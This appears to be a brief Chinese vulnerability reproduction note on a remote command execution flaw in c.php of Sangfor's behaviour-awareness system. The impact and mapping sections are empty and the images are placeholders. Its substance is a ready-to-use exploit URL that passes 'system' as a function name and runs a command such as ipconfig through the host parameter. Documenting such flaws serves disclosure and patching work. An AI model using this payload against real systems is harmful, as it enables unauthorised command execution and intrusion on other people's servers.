# 深信服 行为感知系统 c.php 远程命令执行漏洞

# 漏洞描述

深信服 行为感知系统 c.php 远程命令执行漏洞,使用与EDR相同模板和部分文件导致命令执行

# 漏洞影响


# 网络测绘


# 漏洞复现

登录页面如下

img

访问漏洞Url

/tool/log/c.php?strip_slashes=system&host=ipconfig
1

img